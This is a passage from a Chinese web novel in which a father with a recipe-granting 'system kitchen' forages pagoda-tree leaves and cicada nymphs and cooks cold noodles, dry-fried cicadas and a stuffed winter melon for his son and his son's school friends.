由于吃卷凉皮不需要桌子，他们没去食堂，直接走到操场树荫下坐着吃。 “绝了！楚爸这火鸡面卷凉皮比我想象的要好吃一百倍！” 解决掉整个卷凉皮，胡一齐脸上带着意犹未尽的表情。 叶其林赞同地点头：“确实好吃，我还以为就是把泡好的火鸡面往里一卷，没想到还带着凉皮特有的酸辣味，吃起来又香又开胃。” “虽然有点自卖自夸，但我还是得说，我爸这手艺，真是没话说。”楚瑾钰夸完又忍不住吐槽，“你说我爸也真是，有这么好的手艺竟然一直藏着，不然我从初中开始就不用吃食堂。” “知足吧，现在能天天吃到就不错了。”商时贸边说边举起第二个卷凉皮送到嘴边。 连着吃两顿卷凉皮，非但没让他们觉得腻，反而给他们吃爽了，尤其是胡一齐，恨不得明天继续吃。 不过天天吃卷凉皮这种事，楚易文肯定不会答应，还是换着花样给他们做。 当楚易文将自己做的卷凉皮视频剪好发出去时，又在网上馋到一大群人。 【羡慕你儿子天天能吃这么好，你真的不需要再多个儿子吗？我不挑食，给两个卷凉皮就好。】 【你太贪心了，竟然想要两个，博主看看我，我只要一个！】 【看起来好好吃，我口水都快下来了，不行，点外卖去。】 【瞧着好像不难，家里正好有面粉，我也来做一下，请问料汁的比例怎么调？】 楚易文简单刷一下视频评论，回复了几条询问做法的内容后退出自己的视频，开始在网上刷别人做的美食视频。 短视频平台上美食都带着季节性，什么烧烤、小龙虾、冰粉……好多都是夏季美食。在刷到一个叫“槐叶冷淘”的美食视频时，楚易文停下划动的手指看起来。 槐叶冷淘是道面食，说白了其实就是凉面，根据视频里的介绍，据说唐代大诗人杜甫还写了首同名诗。 楚易文觉得夏天吃凉面简直不要太合适，有点想学。他将视频看完，感觉做法不难，于是决定先去搞食材。 槐叶冷淘需要用到新鲜槐叶，其实他可以直接用积分换，但他想着自己出去获取食材，有概率获取食谱，决定还是先不兑换。 市内马路边的槐树他可不敢用，担心有汽车尾气，于是开车直奔郊外。 楚易文记得自己平常钓鱼那片附近就有好多树，决定先过去看看有没有槐树。到达目的地后，他仰头正寻找槐树，一只被他投喂过的狸花猫忽然凑到他脚边。 “你知道哪有槐树吗？”楚易文蹲下来摸摸猫脑袋，顺口询问。 “喵~” 狸花猫叫了一声，忽然往左边跑过去，楚易文诧异地望着它，随即抬脚跟上去。 它跑得特别快，就在楚易文差点看不清它钻哪里去时，它忽然又跑回来，上下点着脑袋似乎在让他伸手。 楚易文蹲下来朝它伸出手，就感觉手里有个活物，下意识甩手时，系统声响起。 【叮~收获食材金蝉，奖励食谱干煸金蝉。】 什么叫有心栽花花不开，无心插柳柳成荫，这大概就是了。不过干煸金蝉什么的，他感觉自家儿子未必敢吃。 发现原来狸花猫刚刚叼给自己的是只幼蝉，楚易文有些哭笑不得道：“你给我这个干嘛？我要的是槐叶。” “喵~” 狸花猫刚叫完，一只已经羽化的成蝉从旁边飞过，它立刻追上去，在蝉停到一棵树上时直接四爪并用爬上去抓到那只蝉。 它看起来并不想吃蝉，似乎只是把蝉当作玩具，叼下来后丢到楚易文脚边。 “我不要，你自己……”楚易文刚想说让它自己玩，话没说完，忽然发现它刚刚爬的那棵好像就是槐树。 “哎呀，你还真能带我找到槐树！”他蹲下来对着猫脑袋一通撸，“等我摘完槐叶拿猫条给你吃。” 他小时候在乡下长大，爬树自然难不倒他，整理一下衣服就直接往那棵树上爬。他刚爬到一半，狸花猫仰头望着他爬树的画面，刷刷就上树爬得比他还高。 “喵喵~” 狸花猫站在树上，歪着脑袋望着他，像是在说“人你怎么也会爬树”又像是在问“人你爬树干嘛？” 楚易文爬树可没它那么轻松，因此并不敢分心和它说话，而是小心爬到上面，开始采摘嫩槐叶。 狸花猫看着他摘树叶的动作，没多久就跑到树枝上，张嘴咬下几片叶子送过来。 看到它如此有灵性，哪怕它叼过来的是老叶子，而且还带着它的牙印，楚易文还是无法拒绝，接过来单独装进自己裤子口袋里。 狸花猫看到这次送出去的东西被他收下，脑袋都微微仰起来，转身就继续去帮忙采叶子。 六月份的天，哪怕在靠近河边的树林中，待久了依旧有点热，楚易文怕中暑，快速摘下自己需要的槐叶就从树上下去。 他双脚刚站到土地上，悦耳的系统声响起【叮~获取食材嫩槐叶，奖励食谱槐叶冷淘。】 虽然他根据网上的美食视频也能做，但有食谱在系统厨房学习明显更方便，楚易文收获想要的食谱，脸上瞬间露出笑容。 “咪咪下来，我拿猫条给你吃。” 他心情大好，看还在树上叼叶子的狸花猫都更加喜爱，招呼它下树后，往自己停车的位置走。到车边，他先将好不容易获取的槐叶放到车里，随即就拿出猫粮、猫条和水投喂狸花猫。 等到狸花猫吃饱喝足，楚易文又往它嘴里塞两条鱼干才起身开车回家。 到家后时间还早，他直接进入系统厨房进行槐叶冷淘的学习。 在老爷子的指导下，楚易文先将嫩槐叶洗干净后焯水，焯完捞出来浸泡在冰水中定色。 定好色的槐叶打碎，将槐叶汁拿来揉面，揉出的面是漂亮的翠绿色。楚易文望着手底下的面团，觉得很是赏心悦目，轻轻在表面拍两下才放到旁边醒面。 面团醒好，他手法熟练地开始擀面，很快根根如碧玉般的面条就在他手底下出来，看起来很是清爽。 槐叶冷淘中的冷字很是关键，楚易文将面煮好迅速捞出浸泡在冰水中，待面条从冰水中捞出时，颇有中种碧玉出水的感觉。 当碧玉般的面条放入碗中时，卖相清爽诱人，楚易文轻嗅着那股槐叶特有的清香，开始进行调味。 他有自知自明，做完看老爷子那无动于衷的表情就知道对方不是很满意，于是自己端起碗吃起来。 平时他就经常在家做手擀面，早就做出经验来，这碗槐叶冷淘吃起来爽滑弹牙，可能是经过冰镇的缘故，咀嚼间特别筋道。 槐叶本身清苦中带着几分回甘，在这种季节，其实很适合吃点苦。不过它的苦味并不浓，在咸鲜的酱汁中和下，更是变得若隐若现，更多的还是它本身的清香更浓些。 一碗槐叶冷淘下肚，楚易文有种暑气全消的畅快感。 都说“台上一分钟，台下十年功”，他做菜也差不多是如此，经过系统厨房内反反复复地尝试，才能在现实中做出令人惊艳的美味。 从系统厨房内学成归来，楚易文见离下午放学时间还有好一会，继续在房间里休息会才去厨房。 等他把晚饭做好时，见离放学时间还有半个小时，干脆将槐叶冷淘放进冰箱里冷藏一会。 “爸，晚上吃什么？” “楚爸，你做什么好吃的了？” “楚爸我好饿啊！” 学校门口，楚易文刚过来就面对四个嗷嗷待哺的“小麻雀”，赶紧将手里保温桶递过去。 看到保温桶，楚瑾钰他们下意识以为是饭菜，于是问：“今天有什么菜？” “今天做了槐叶冷淘，你们尝尝合不合胃口。”楚易文说完不等他们询问就自己补充一句，“槐叶冷淘就是用槐叶汁做的冷面，我另外还准备了几个浇头。” “槐叶冷淘？听名字就很好吃！”叶其林夸道。 胡一齐：“楚爸，凉面为什么要放在保温桶里？这样不是变热了？” 他话落，楚瑾钰用看傻子的眼神望着他。 “让你多读书，你偏要去喂猪！保温桶能保温也能保冷。” 楚易文见自家儿子还嫌弃起别人来，有些好笑。怕胡一齐不高兴，他赶紧开口打圆场：“好了，你们赶紧进学校，趁凉吃。” 几个孩子和他道别，带着对槐叶冷淘的期待快步走向食堂。 保温桶就像楚瑾钰说的一样，既能保温也能保冷，等他们到食堂坐下时，盖子刚打开，一股凉意从保温桶里飘出来，同时带着槐叶特有的清香。 槐叶汁的清香似雨后青草，又带着几分槐花的淡雅甜韵，揉进面中与面香融合，很是清爽好闻。 “好特别的香味！” 胡一齐说完，迫不及待拿起碗开始夹面条，当面条落进碗中，那翠绿的颜色像是一条条碧玉，带着说不出的清新感。 “这面真好看，而且凉凉的，还没吃就感觉很清爽。” 叶其林话落，商时贸也开口夸了几句，随即夹起面送入口中。 和普通手擀面比起来，带着凉意的槐叶冷淘口感更加筋道，吃起来特别清爽美味。 “这里还有浇头。”楚瑾钰看到胡一齐连浇头都不用就直接吃完碗里的面，开口提醒。 胡一齐：“太好吃了，不用浇头就已经很美味，吃起来凉凉的，滑滑的，香香的，吃完感觉整个人都凉快了，比喝冰水还爽。” 槐叶冷淘本身就有调味，直接吃同样很美味，酱汁的咸鲜和面条本身的爽滑筋道相融合，吃起来美味又解暑，同时很开胃。 叶其林：“你说楚爸脑子怎么长的？感觉他简直什么都会做，楚瑾钰，我开始怀疑你是被你爸捡回家的了。” “滚。”楚瑾钰头也不抬地冲他骂一句，随即将牛肉浇头淋到面上。 加上浇头后，槐叶冷淘多了抹肉鲜味，吃起来口感更加丰富，同时槐叶特有清爽中和牛肉的油腻，吃起来更加鲜香。 “好吃，太好吃了！你回家问问楚爸，明天可不可以继续吃这个！”胡一齐淋上浇头又吃完一碗，回味着嘴里的余味，好吃到他都有点想站起来原地蹦跶两下。 楚瑾钰听到他的话，随意点点头就端着碗继续夹面。 第53章 干煸金蝉 夏天本来就很适合吃凉面, 更别说是槐叶冷淘这种带着自然风味，以前从来没吃过的凉面。 楚瑾钰四人你一碗我一碗，很快就将保温桶里的槐叶冷淘连着浇头吃得干干净净。 吃饱喝足, 胡一齐忍不住偷偷拿出手机拍了张空盘照片发到五人群里，@楚易文表示“好吃，爱吃，多吃”。 当天晚上回家，楚瑾钰同样表达了对槐叶冷淘的喜爱，说明天还想吃。 “可以啊，不过做槐叶冷淘要嫩槐叶, 你得自己去摘。”楚易文倒不是故意为难他，而是想到入夏后他一放假就待在空调房不愿意出门，觉得不太好。 果然, 听到要自己去摘嫩槐叶，楚瑾钰第一反应就是：“不能买吗？” “市场上很少有人卖这个，而且自己摘的更新鲜。” “我问问胡一齐他们。”楚瑾钰说完直接在群里发消息。 胡一齐其实才是最怕热的, 不过为了吃他却是直接答应，反倒是商时贸和叶其林过几分钟才回复可以。 四人商量好, 楚易文又问：“早上和傍晚会凉快些，你们想什么时候去？” 如果换做冬天，楚瑾钰肯定会选择傍晚，因为冬天被窝太温暖, 根本起不来床。不过换成夏天的话，他没那么爱睡懒觉，于是直接说早上。 次日早上，楚易文煮了绿豆粥做了蒸饺，等叶其林三人过来时粥早就放凉, 可以直接吃早餐。 “楚爸你煮的粥真好喝，让我想起去年的腊八粥了。”胡一齐喝着清爽解暑的绿豆粥说。 叶其林：“蒸饺也好好吃。” 玉米肉馅的饺子咸鲜中带着玉米的清甜，配上柔韧的饺子皮，简直越吃越香。 听到他们边吃边夸，楚易文笑着道：“喜欢的话明天早上再过来吃。” “记得把作业带过来，吃完早餐正好一起写作业。”楚瑾钰咽下嘴里的蒸饺补充。 胡一齐斜眼看他：“你真扫兴。” “爸你看他，光想着吃不想写作业。”楚瑾钰喊道。 楚易文早就习惯他们俩时不时就要拌嘴，直接转移话题：“好了快吃吧，趁着现在还没那么热得赶紧出门。” “听到没，还不赶紧吃。”胡一齐狐假虎威道。 早餐吃完，简单收拾下东西，五人终于可以出门。 由于昨天已经摘过一回，今天楚易文熟门熟路开车到老地方，停好车带几个孩子往槐树方向走。 “楚爸你看，这是什么？” 胡一齐看到地上有个洞，旁边有个在动的东西，好奇心重的他直接伸手抓起来。 “你是属猫的吗？”楚易文望着他手里那只幼蝉，不由想到昨天那只狸花猫。 胡一齐：“这虫跟猫有什么关系？” “说你好奇心跟猫一样重呗。”楚瑾钰道。 见胡一齐还捏着那只幼蝉，楚易文想到什么，开口道：“其实这金蝉做成菜很好吃，而且很有营养，你们想吃吗？” 昨天入睡前，他本着不学白不学的想法，顺手就将干煸金蝉给学会，本来还以为没有用武之地，现在却是忍不住拿来逗逗几个孩子。 “啊？吃它？”胡一齐举起手里那只金蝉，看着它还在动的脚，觉得这玩意实在不像能吃的样子。 楚瑾钰：“爸你开玩笑还是认真的？” “没开玩笑，确实能吃，而且外面卖的挺贵，你们想吃就抓一点，回去我做个干煸金蝉给你们尝尝。”楚易文语气含笑。 叶其林觉得好吃的那么多，他们实在没必要吃虫子，开口道：“我们还是先去摘槐树叶。” 由于在车上已经用手机搜索过槐树，此时他们不用楚易文提醒就找到槐树。 爬树难不倒楚瑾钰他们，楚易文见他们都爬上树，便在底下提醒注意安全，以及摘叶子只要嫩叶。 “咦，树上竟然也有刚刚那玩意。”胡一齐刚摘两片叶子，忽然发现树干上爬着七八只幼蝉，顺手就抓起来揣进口袋里。 某方面来说他运气是真好，好多专门抓这玩意卖的人都要找半天才找，他一会功夫就抓到快十只。 等他从树上爬下来时，余光瞧见树根下竟然还有好多只，又立刻弯腰去捡。 “楚爸你看！” 楚易文看到他手里捧着一堆金蝉，转身直接拿个空矿泉水瓶递过去：“拿瓶子装，装满大半瓶就可以炒一盘了。” “不是，胡一齐你真要吃虫啊？”叶其林用一种你是不是疯了的眼神望着他。 其实胡一齐对吃虫子也是有些犹豫的，但既然运气好抓到了，他又觉得可以尝试一下。 “吃虫怎么了？以楚爸的手艺，就算是虫子肯定也能做成人间美味。” “这是好不好吃的问题吗？”叶其林无语。 然而不管他怎么说，胡一齐已经沉浸在抓金蝉那种寻宝的成就感中，很快就将一只又一只金蝉装进瓶子里。 吃不吃先不说，楚瑾钰感觉抓这玩意还挺有意思，反正比摘叶子好玩，于是很快也跟着满树林找起来。 “这里有一只！” “快看，那边树上有好几只。” 楚易文看到他们从摘叶子变成抓金蝉，甚至连叶其林都不知不觉参与进来，带着几分好笑提醒：“那种有翅膀的别抓……” 他说完，将摘下来的槐树叶整理一遍，不够嫩的丢开，嫩的装进袋子里喷点水进去保持鲜嫩。 忙完他找个树荫坐下休息，望着四个孩子满林子乱转的身影。 最开始嫌热不太愿意出来的是他们，现在跑得满头汗还要继续抓金蝉的也是他们，尤其是胡一齐，甚至已经不满足在树上抓，在地上捡，开始拿着木棍从洞里挖。 “楚瑾钰你快过来，我就说洞里有，你看！”胡一齐挖开洞发现里面果然有金蝉，声音里透着兴奋。 楚瑾钰凑过来看两眼，发现还真有，立刻不作声地拿跟棍子去挖自己前面看到的洞。 抓金蝉有点像是寻宝，在树上、地上、草丛间寻找，每找到一只，就会有种寻到宝的满足与成就感，让几个孩子抓得都有点上瘾。 十点左右，眼见太阳越来越晒，楚易文开口道：“你们抓的那些够吃了，赶紧来喝点水休息会，准备回家。” “我不吃，我就是抓着玩。”叶其林听到够吃两个字，下意识开口。 胡一齐：“你怎么那么怂？小龙虾你不是也经常吃，这玩意仔细看，其实跟小龙虾有点像。” “你不怂，那你多吃点。”叶其林懒得跟他争。 年轻人精力就是旺盛，又是爬树摘槐叶，又是抓金蝉，回家路上还有力气拌嘴。 到家后，楚易文见已经快中午，直接拎着食材进厨房，先将嫩槐叶洗干净打出汁水开始揉面擀面条。 槐叶冷淘做好，他顺手放进冰箱里冷藏起来，转头开始清理矿泉水瓶中的金蝉。这玩意土腥味比较重，要先加姜片、料酒焯水去腥。 焯水到位的情况下，基本能够去除土腥气，楚易文拿厨房纸将它表面水分吸干，起锅烧油，六成油温时将金蝉下锅油炸。 随着金蝉被炸得颜色变深，一股特殊的肉香从锅里飘出来，高蛋白产生的香味闻起来还挺诱人。 胡一齐他们好奇心重，早在楚易文开始往水里倒金蝉时就凑过来围观，在看到金蝉被焯水时，个个眉头都不自觉皱起来。 然而随着油炸香味飘出来，他们眉头又渐渐松开，胡一齐甚至开口道：“闻起来还挺香！” 等到楚易文将金蝉进行复炸时，炸完的金蝉颜色看起来更加漂亮，香味也更加诱人。 炸好的金蝉看起来就特别酥脆，不过这还没完，很快他就将锅洗干净，开始下入花椒、干辣椒等食材爆香，再将金蝉下锅翻炒。 先炸再煸的金蝉口感会更加酥脆，楚易文将菜出锅后就招呼几个孩子准备吃饭。 午餐有槐叶冷淘、干煸金蝉，还有从冰箱拿出来的冷吃牛肉和酸萝卜，看起来还挺不错。 在餐桌前坐下后，楚瑾钰四人握着筷子大口吃着槐叶冷淘，时不时再吃口牛肉，吃片酸萝卜，只有干煸金蝉始终无人问津。 别看胡一齐之前笑话叶其林怂，实际上他在看到盘中虫脚明显的金蝉时，哪怕鼻子觉得很香，但筷子却还是有点不敢往上夹。 叶其林可不会放过他，半碗槐叶冷淘下肚就直接开口：“你辛辛苦苦抓的金蝉，现在怎么不吃？” “我等会再吃。” 见他不敢吃就不敢吃，还非要嘴硬，楚瑾钰用公筷夹个金蝉放到他碗里：“别等了，趁热吃更香。” “你！”胡一齐看到他把金蝉放到自己凉面上，有种整碗面都被污染的感觉，然而扑鼻而来的肉香又让他感觉有点馋。 被炸透的金蝉看起来其实没有活着时那么吓人，忽略那些脚，看起来就是一盘被炸成金黄色的肉。 高蛋白产生的焦香、肉香、干香以及调料的辛香融合在一起，闻起来很是诱人。 “要吃一起吃！”胡一齐想吃又有点犹豫，干脆握着筷子往每人碗里夹了个金蝉。 楚瑾钰：“你先吃。” “先吃就先吃！”胡一齐说完将自己碗里那个金蝉夹起来直接丢进嘴里，牙齿咬上去，发出酥脆的“咔嚓”声。 经过油炸，金蝉表面形成脆壳，吃起来焦香酥脆，而在外壳包裹下，腹部里面却是绵软中带着韧性的口感。 胡一齐小心翼翼地咀嚼着，发现金蝉没有自己想象的那种爆浆感后，终于放心地品尝起来。盐的咸味激发出金蝉本身的鲜味，它的鲜和肉鲜、鱼鲜不太一样，来自高蛋白昆虫的鲜味很是独特。 “挺好吃的，嘎嘣脆。” 胡一齐将金蝉咽下后，嘴里还残留着微微麻辣香气，以及食材本身的鲜香，余味悠长。 对于一个吃货来说，只要食物足够好吃，其他的都能克服，此时他就是如此，发现干煸金蝉不光闻起来香，吃起来更香，他直接伸出筷子连夹两个送进嘴里。 酥脆的口感，麻辣鲜香的滋味，只要不刻意去想这是虫，胡一齐吃得有些停不下来。 看到他吃得那么香，楚瑾钰最先没忍住，试着将金蝉送进嘴里，确实如他所说，吃进嘴里嘎嘣脆，咀嚼间又带着几分绵软，整个吃起来并没有任何奇怪的味道，满满都是浓郁的香味。 肉香、焦香、干香和调料香味在味蕾上蔓延开来，简直是场极致的味觉盛宴。 “别说，这玩意吃起来，口感真有点像小龙虾……” 楚瑾钰说完感觉虫子也没那么可怕，又夹起一个送入嘴里，这次甚至在麻辣鲜香外，还吃出微微甜味。 看到他和胡一齐都接受良好，商时贸将碗里那个送进嘴里，吃起来味道确实不错，焦香酥脆，肉香浓郁，而且没有半点土腥气。 不过他在饮食上比胡一齐和楚瑾钰要挑剔得多，哪怕觉得干煸金蝉非常美味，但出于对食材的排斥，他还是只尝了一个就继续吃凉面。 跟他比起来，叶其林就是单纯过不了心里那关，觉得人怎么能吃虫子！ “我们都吃了，你怎么还不吃？”胡一齐看向他。 叶其林不想理他，胡一齐却是不依不饶，还说他要是不吃，等去学校就替他好好宣传一下，告诉大家他怕虫。 “怕虫和怕吃虫是两回事！”叶其林反驳。 胡一齐：“都是怕，有什么区别。” 这个年纪的孩子最要面子，被胡一齐激将几句后叶其林道：“吃就吃。” 他夹起那只金蝉，闭上眼睛直接丢进嘴里，本来想直接咽下去，然而当味蕾尝到那股麻辣鲜香的气息时，牙齿却是下意识咀嚼起来。 嗯？ 尝到干煸金蝉外焦里嫩的口感，麻辣鲜香的滋味后，叶其林缓缓睁开眼，感觉根本没有自己想象的那么恐怖，反而还挺香。 一分钟前，他：人怎么能吃虫子！ 一分钟后，他：人作为食物链顶端，没有什么是不能吃的！真香！ “怎么样，是不是还挺香，怪不得有地方专门抓这个吃，据说还卖得挺贵。”楚瑾钰说完又夹一个送进嘴里，越吃越觉得过瘾。 叶其林：“确实挺香，这股鲜味好特别，吃起来简直了！” 楚易文看到他们从不敢吃到吃上瘾，从排斥到真香，感觉有些好笑。 某方面来说，他跟商时贸有点像，哪怕干煸金蝉味道确实不错，但由于食材的原因，他并不乐意吃。此时看到三个孩子吃得香，他觉得挺好，没白浪费上午的辛苦。 午餐结束，楚瑾钰他们坐在沙发前拿手柄打游戏时，楚易文并没有说什么，只是在他们打了一个多小时游戏后才开口提醒：“马上就要期末考试了，是不是应该先把作业写完，再复习一下功课？” 对于胡一齐来说，在楚瑾钰家他真是痛并着快乐，快乐的是有各种美食吃，痛苦的就是要学习。 可能是现在跟楚易文已经特别熟，胡一齐都不装了，直接趴到沙发上发出呐喊：“不想写作业，不想复习……” “那你们再玩半个小时，玩完就去行不行？”楚易文倒是没态度强硬地直接让他们去，而是商量。 “行！” 胡一齐见好就收，直接坐直身体。 在几个孩子开始做作业时，楚易文顺手就去厨房把干煸金蝉的视频剪出来。他现在是真把短视频当个兼职做，赚不赚钱先不说，每次评论区里的花式夸赞，就已经让他收获满满的情绪价值。 今天这个视频发出去，难得没出现一片“馋了”、“想吃”的评论，而是像有蛇出没一样。 【嘶——这玩意真能吃吗？】 【嘶！这不是虫吗？】 【嘶……打开吓我一跳，你还是做点正常的美食吧，这种另类的吃食我自有地方观看。】 楚易文看到评论都有点想笑，等几个孩子写完作业跟他们分享。 * 吃金蝉的双休过去后，很快就迎来期末考试，考试前两天，楚易文鼓励他们加油，说要是考得好就给他们做好吃的。 他说的好吃的是刚获取的食谱——冬瓜船。 夏天特别适合吃冬瓜，而所谓冬瓜船，就是以冬瓜为容器，加入丰富的馅料蒸成的一道美味。 楚易文在系统厨房里学习这道菜时，光是冬瓜就掏了不知道多少个，雕刻边缘的锯齿形状更是反复不知道多少遍。 其实家庭版冬瓜船没那么多讲究，直接掏空冬瓜就可以做，可耐不住老爷子要求高，对美食的“色”方面是半点都不放松。 在他学会这道菜时，期末考试已经结束，等拿完成绩单，楚瑾钰他们就将迎来期待已久的暑假。 楚瑾钰这学期进步没有上学期那么大，但期末考试结果出来时却是往前爬了几名，正好踩在他之前说的二十名上。 而胡一齐，他期末考试同样有进步，在二十三名，至于叶其林和商时贸，前者往走了几名，后者名次最好，考了全班第三。 拿到成绩的四人都很满意，尤其是在班主任夸过他们以后，可惜大好的日子总有讨厌鬼要过来破坏他们心情。 楚瑾钰在自己班级的后门对着胡一齐炫耀成绩，没想到隔壁班那个之前就跟他有矛盾的刘钦于又跑出来刷存在感，说他能考二十名是抄的。 “你找打是不是？” 楚瑾钰又不是什么好脾气的人，听到这话直接握起拳头，觉得他是上次挨打没挨够。 “你别动手。”胡一齐赶紧伸手将他一把抱住。 他倒不是怕楚瑾钰打架，主要是想起那回他打架的结果，不想让楚易文不高兴。 “这人跟有病一样，总要冒出来恶心人，你别拦我，我今天非要把他给打怕了！” 胡一齐闻言，将他推到叶其林和商时贸中间，让两个人拦着他，同时开口道：“你打他楚爸又要过来收拾烂摊子，让我来，我打完要赔钱让我爸来赔，反正他也就剩这点用。” 由于楚易文做饭太好吃，他现在比高一入校时胖了一圈都不止，手握成拳头时，绝对能自夸一句“砂锅大的拳头”。 刘钦于看到他那个身形瞬间就怂了，撒腿就跑，边跑边道：“我要去举报你们考试作弊！” “靠！世界上怎么会有这种煞笔？”胡一齐追了两步没追上，转头对楚瑾钰道，“等下学期开学我再帮你揍他。” “算了，这种脑子有问题的家伙，我都懒得跟他计较。” 心里的火来得快去得也快，楚瑾钰想到下学期就要升到高三，决定大人不计小人过，还是别让胡一齐因为他惹事。 不过回到家时，他边带着几分暗戳戳的骄傲将成绩单递给他爸，边忍不住吐槽起来。 楚易文看到他考了二十名，对着他好一顿夸，不知道的还以为是第二名。 不过在听到有人要举报他考试作弊时，楚易文心里却是瞬间咯噔一声，显然是联想到梦里有人告老师说他抄作业。 “谁要举报你？” “刘钦于，隔壁班的傻……傻子。” 听到是隔壁班学生，楚易文心里瞬间松口气，不过下一秒忽然想到，会不会梦中也是这个人告的老师，只是楚瑾钰他们误以为是邵言易，于是在针对他时导致悲剧发生。 “我给你们班老师打个电话。” 楚瑾钰只是顺口抱怨两句，没想到他爸这么重视，还要去找老师，觉得不至于：“我就考了第二十名，又不是第二名，就算他告诉老师我作弊，老师也不会信。” “这不是老师信不信的问题，而是他凭什么随着给人泼脏水。” 梦里先不说，毕竟他儿子确实抄作业了，但现在他儿子自己凭本事考的分，楚易文觉得那个学生实在有些过分。 听到他爸还真立刻给班主任打电话，班主任也表示会跟隔壁班老师沟通，让对方和刘钦于家长聊聊，楚瑾钰心里说不出来什么感觉，反正挺高兴。 他心里因为刘钦于产生的负面情绪一扫而空，开始关心起另一个问题：“爸，你说给我们做好吃的，要做什么？应该是我们没吃过的吧？” 第54章 冬瓜船 楚易文想想决定卖个关子：“明天跟我一起去买菜就知道了。” “去码头菜市场吗？那我喊胡一齐他们一起。”楚瑾钰此时心情格外好, 听到一起去买菜毫不犹豫就答应，并表示要带上叶其林他们几个苦力。 夏天买菜肯定要趁早上比较凉快的时间，次日, 由于胡一齐他们起晚了，吃完早餐楚易文就带着楚瑾钰直接去码头菜市场等他们过来汇合。 “楚爸！” 倒是挺巧，双方几乎前后脚到码头菜市场附近，胡一齐看到那辆熟悉的车子，直接撒腿跑过去。 楚易文倒是没辜负他的热情，伸手将副驾驶上那袋东西递过去：“你们吃早餐没？给你们带了点鸡蛋饼和牛奶。” 当代年轻人，睡懒觉不吃早餐简直太正常, 胡一齐他们自然是没吃。 “楚爸你真好！” 胡一齐接过早餐，将叶其林他们那份递出去，握着自己那份鸡蛋饼吃起来, 香软不失柔韧的鸡蛋饼越吃越香，好吃到他脸上瞬间就露出笑容。 “楚爸，你做的鸡蛋饼真好吃, 我家阿姨做的就没这么香。”叶其林咀嚼着香喷喷的鸡蛋饼，感觉胃口都被打开。 楚瑾钰在家时明明已经吃饱, 结果现在看到他们吃得香，又忍不住手欠，跑去跟他们抢着吃。 四个孩子打打闹闹间，鸡蛋饼很快被吃完, 同时江面上响起船靠岸的鸣笛声。 夏天挑着担子爬楼梯更是累得要命，楚易文见码头这边帮忙的青壮年越来越多，便没让几个孩子动手。 “你们去给大家发下水。” 他特意从家里拿了几箱水过来，想着天气热，给大家补补水也算是做好事。 “爷爷喝点水。” “奶奶喝水。” 在不少青壮年接过老人们身上的担子往上爬楼梯时, 楚瑾钰他们几个拿着矿泉水到处分，甚至遇到年纪特别大的，还帮忙把盖子拧开。 从码头到大坝那条长长的楼梯上，三代人同时出现其中，画面看起来很是美好。 几箱水送完，楚瑾钰他们立刻跑回楚易文身边，语气透着期待地询问今天到底做什么好吃的。 “做冬瓜给你们吃。”楚易文笑着道。 “啊？冬瓜？”胡一齐听到冬瓜先是有点小失望，不过很快就再次开口，“楚爸你做的冬瓜肯定也特别好吃！” 商时贸：“夏天很适合吃冬瓜。” “炒冬瓜吗？还是冬瓜汤？”楚瑾钰好奇地问。 叶其林更是大开脑洞：“楚爸你难道是要用冬瓜做素红烧肉？” “都不是，走吧，我们先去挑个冬瓜。”楚易文说完就领着几个孩子走到卖冬瓜的摊子前。 摊子上那两大筐冬瓜，最小的都有三斤多，可以想象把这么多冬瓜挑过来有多累。 “楚爸！这个冬瓜好，最大！”胡一齐伸手抱起个又大又长的冬瓜举起来。 楚瑾钰：“那么大哪吃得完，你赶紧放下，别把人家冬瓜给摔了。” “冬瓜抱在怀里还挺凉快。”胡一齐边把冬瓜放下来边说。 冬瓜船要用整个冬瓜来蒸，他手里那个冬瓜太大，家里的锅可蒸不下，楚易文直接挑选了个五斤左右的瓜拿起来。 买完冬瓜，他又领着几个孩子去买其他食材，很快就采购完回家。 胡一齐：“天真是越来越热了……” 几人中数他最怕热，到家就坐在沙发上享受空调带来的凉意，压根不愿意再动弹。跟他比起来，商时贸倒是感觉还好，进入厨房里询问有什么自己可以帮忙的地方。 楚易文也不跟他客气，开口道：“你把那个冬瓜洗干净。” 他说完将买的鸡肉、猪肉拿出来切小块加入盐、料酒、生抽等调料腌制起来，又将腊肠、杏鲍菇、胡萝卜、马蹄等食材洗干净切好备用。 等楚易文忙活完，那个冬瓜早就被商时贸和楚瑾钰一起洗得干干净净。 “给我吧。” 他接过冬瓜放到案板上，用刀横着切下四分之一当盖子，随即用勺子将里面瓜瓤掏干净。 冬瓜瓤掏干净，里面呈现中空状，像个绿色小船。楚易文放下勺子换成刀，仔细在冬瓜边缘刻出锯齿状花纹，看起来很是漂亮。 处理好冬瓜，他在家里最大那个锅中加水煮沸，加少许盐和油将冬瓜连盖子一起放进去稍微烫几分钟，这样既能保持瓜皮的绿意，还能去除苦涩味。 冬瓜焯烫好，楚易文将它放在旁边沥干水分备用，转头开始炒馅料，热锅凉油将姜末爆香后，腌制好的鸡肉、猪肉下进去炒至变色。 他将鸡肉猪肉炒好先盛出来，再把刚刚准备的腊肠、杏鲍菇等食材炒至断生，当有香味飘出来时，将鸡肉、猪肉倒入锅里，加盐、生抽、等调料翻炒均匀。 随着楚易文连续几个颠锅，肉香混着菌菇特有的香味源源不断飘出来，香得胡一齐都忍不住从沙发上站起来。 而随着楚易文取出提前熬好的高汤倒入锅中时，随着汤被煮沸腾，香味瞬间更上一层楼。 “好香啊，不是说吃冬瓜吗？我怎么闻见肉香了？”胡一齐边说边往厨房里走。 他走进厨房时，就看到楚易文将过来炒好的馅料倒入冬瓜中，盖上盖子放进锅里准备蒸。 胡一齐：“哇，这是什么菜？竟然是用整个冬瓜来做！” 别说他，楚瑾钰三人同样也对这道菜很感兴趣，目不转睛地看着楚易文动作。 楚易文将锅盖盖上，开大火开始蒸制后，顺口解答：“这道菜叫冬瓜船，将冬瓜掏空，里面食材可以随着搭配……” 听到他的讲解，楚瑾钰他们瞬间就有被馋到，已经开始期待起来。 “楚爸，什么时候可以吃？” “还要三十多分钟。” 也就冬瓜不算特别大，不然得蒸更长时间。 冬瓜船里有荤有素，楚易文感觉不用再额外做什么菜，他想到家里还有不少火鸡面，询问过孩子们的意见，决定中午吃火鸡面当主食。 二十多分钟后，他先拿出根黄瓜切成丝，随即才开始煮火鸡面，火鸡面拌好酱料，他加点黄瓜丝在面上，还煎了蛋盖上去。 “好丰盛的火鸡面，看着就好吃！” 平常吃火鸡面就是单纯吃面，哪有黄瓜和煎蛋，胡一齐望着碗里色香味俱全的火鸡面，口水差点流出来。 主食准备好，冬瓜船也可以出锅，随着楚易文打开锅盖，一股浓郁中带着复合鲜味的气息扑鼻而来，明明是热汤，然而来自冬瓜的清香却让人在大夏天都生起迫不及待想品尝的期待。 